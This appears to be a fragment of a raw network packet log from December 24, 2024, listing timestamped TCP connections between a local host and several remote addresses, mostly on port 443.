Dec 24, 2024 19:28:29.167635918 CET	50002	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.167670965 CET	443	50002	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.167865038 CET	50002	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.168025970 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.168108940 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.168189049 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.168541908 CET	50002	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.168557882 CET	443	50002	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.168679953 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.168715954 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.228063107 CET	50005	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.228091002 CET	443	50005	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.228400946 CET	50005	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.228605986 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.228646994 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.228705883 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.228821993 CET	50005	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.228838921 CET	443	50005	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.228935957 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.228964090 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.406948090 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.407011986 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.407042027 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.407058001 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.407102108 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.407886982 CET	49990	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.407905102 CET	443	49990	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.522680998 CET	443	49996	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.522978067 CET	49996	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.523008108 CET	443	49996	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.524379015 CET	443	49996	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.524745941 CET	49996	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.524884939 CET	49996	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.524960041 CET	443	49996	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.636794090 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.637087107 CET	49997	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.637151003 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.637624025 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.637933016 CET	49997	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.638021946 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.638071060 CET	49997	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.639723063 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.639807940 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.640270948 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.640285969 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642071009 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642082930 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642175913 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642215967 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642230988 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642246008 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642338991 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642374992 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642401934 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642415047 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642488956 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642513990 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642519951 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642530918 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642651081 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642676115 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642750978 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642769098 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642815113 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642832994 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642860889 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642879009 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642921925 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642939091 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.642957926 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.642975092 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.643008947 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.643024921 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.643079042 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.643098116 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.643126965 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:29.643141031 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:29.659856081 CET	49996	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.668739080 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.668957949 CET	49998	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.668981075 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.669352055 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.669704914 CET	49998	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.669780970 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.669831991 CET	49998	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:29.683335066 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.711350918 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:29.782927990 CET	49997	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.956413984 CET	443	49996	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.956610918 CET	443	49996	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:29.956775904 CET	49996	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.956880093 CET	49996	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:29.956901073 CET	443	49996	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.071547031 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.071645975 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.071713924 CET	49997	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.071798086 CET	49997	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.071839094 CET	443	49997	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.103423119 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.103488922 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.103629112 CET	49998	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.103697062 CET	49998	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.103715897 CET	443	49998	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.202132940 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:30.202219963 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:30.202363968 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:30.202969074 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:30.202999115 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:30.405972958 CET	443	50002	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.406534910 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.406833887 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.406889915 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.406960011 CET	50002	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.406980038 CET	443	50002	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.407295942 CET	443	50002	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.407655001 CET	50002	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.407721043 CET	443	50002	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.408385038 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.408499956 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.408797026 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.408888102 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.445038080 CET	443	50005	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.445286989 CET	50005	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.445307016 CET	443	50005	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.445597887 CET	443	50005	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.445975065 CET	50005	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.446050882 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.446059942 CET	443	50005	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.446259022 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.446279049 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.447810888 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.447923899 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.448291063 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.448370934 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.457839966 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.457858086 CET	443	50003	172.64.41.3	192.168.2.6
Dec 24, 2024 19:28:30.488061905 CET	50002	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.488061905 CET	50005	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.656855106 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:30.656855106 CET	50003	443	192.168.2.6	172.64.41.3
Dec 24, 2024 19:28:30.656903982 CET	443	50006	162.159.61.3	192.168.2.6
Dec 24, 2024 19:28:30.759412050 CET	50006	443	192.168.2.6	162.159.61.3
Dec 24, 2024 19:28:31.038902044 CET	49706	80	192.168.2.6	199.232.214.172
Dec 24, 2024 19:28:31.330447912 CET	80	49706	199.232.214.172	192.168.2.6
Dec 24, 2024 19:28:31.330522060 CET	49706	80	192.168.2.6	199.232.214.172
Dec 24, 2024 19:28:31.598740101 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.598814964 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.598937988 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.598937988 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.613070011 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.613152027 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.618954897 CET	49995	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.618989944 CET	443	49995	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.626276970 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.626327038 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.762218952 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.762275934 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.762336969 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.762356997 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.762384892 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.762396097 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.762455940 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.762456894 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.762480021 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.762509108 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.762542009 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.762562037 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:31.762634039 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:31.762655973 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:32.320333958 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:32.320343018 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:32.320405006 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:32.320596933 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:32.320609093 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:32.585463047 CET	50023	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:32.585566998 CET	443	50023	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:32.585654974 CET	50023	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:32.585958958 CET	50023	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:32.585992098 CET	443	50023	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:32.894718885 CET	50025	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:32.894766092 CET	443	50025	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:32.894826889 CET	50025	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:32.895097971 CET	50025	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:32.895117998 CET	443	50025	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:33.277134895 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:33.277194023 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:33.277262926 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:33.281670094 CET	50011	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:33.281722069 CET	443	50011	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:33.444071054 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:33.444101095 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:33.444168091 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:33.444490910 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:33.444502115 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.004477024 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.004534006 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.005098104 CET	443	50023	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.007644892 CET	50023	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.007663965 CET	443	50023	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.008141994 CET	443	50023	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.017997026 CET	50023	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.018086910 CET	443	50023	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.026822090 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.026833057 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.031004906 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.031011105 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.031356096 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.031374931 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.031428099 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.031434059 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.031636000 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.031661034 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.031826019 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.031835079 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.031863928 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.031892061 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.032269001 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.032279015 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.032305956 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.032310963 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.032363892 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.032371998 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.032881021 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.032890081 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.032915115 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.032924891 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.032943010 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.032963037 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.032963991 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.032974958 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.032988071 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.033015966 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.033025026 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.033082962 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.033092022 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.033107996 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.033124924 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.033129930 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.033152103 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.033241987 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.033250093 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.033284903 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.033292055 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.033312082 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.033322096 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.033720970 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:34.033725977 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:34.065884113 CET	50023	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.106499910 CET	443	50025	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.159590006 CET	50025	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.182148933 CET	50025	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.182172060 CET	443	50025	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.182739019 CET	443	50025	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.184047937 CET	50025	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:34.184118032 CET	443	50025	23.209.72.39	192.168.2.6
Dec 24, 2024 19:28:34.237698078 CET	50025	443	192.168.2.6	23.209.72.39
Dec 24, 2024 19:28:35.015492916 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:35.063347101 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:35.257360935 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:35.257395029 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:35.257471085 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:35.257667065 CET	50040	443	192.168.2.6	20.189.173.2
Dec 24, 2024 19:28:35.257679939 CET	443	50040	20.189.173.2	192.168.2.6
Dec 24, 2024 19:28:35.292401075 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.292454958 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.294532061 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.294543028 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.300287962 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.300295115 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.300363064 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.300379992 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.300384998 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.300411940 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.300467014 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.300486088 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.300638914 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.300646067 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.300673962 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.300683022 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.300796986 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.300808907 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.300889969 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.300899982 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.300928116 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.300942898 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.301031113 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.301043987 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.301297903 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.301306963 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.301392078 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.301404953 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.301424026 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.301440001 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.301932096 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.301945925 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.301951885 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.301964998 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.301978111 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.301987886 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302295923 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302308083 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302381039 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302390099 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302449942 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302460909 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302560091 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302571058 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302618027 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302630901 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302635908 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302639961 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302659035 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302669048 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302704096 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302715063 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302764893 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302772045 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302779913 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302784920 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302800894 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302808046 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302859068 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302871943 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302911997 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302918911 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.302923918 CET	50029	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:35.302927017 CET	443	50029	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:35.621912003 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:35.622073889 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:35.622337103 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:35.622862101 CET	49982	443	192.168.2.6	18.161.69.30
Dec 24, 2024 19:28:35.622876883 CET	443	49982	18.161.69.30	192.168.2.6
Dec 24, 2024 19:28:35.943604946 CET	50047	443	192.168.2.6	18.238.49.124
Dec 24, 2024 19:28:35.943634033 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:35.943878889 CET	50047	443	192.168.2.6	18.238.49.124
Dec 24, 2024 19:28:35.943953037 CET	50047	443	192.168.2.6	18.238.49.124
Dec 24, 2024 19:28:35.943960905 CET	443	50047	18.238.49.124	192.168.2.6
Dec 24, 2024 19:28:36.062676907 CET	443	50022	188.245.216.205	192.168.2.6
Dec 24, 2024 19:28:36.062772036 CET	50022	443	192.168.2.6	188.245.216.205
Dec 24, 2024 19:28:36.062798023 CET	443	50022	188.245.216.205	192.168.2.6
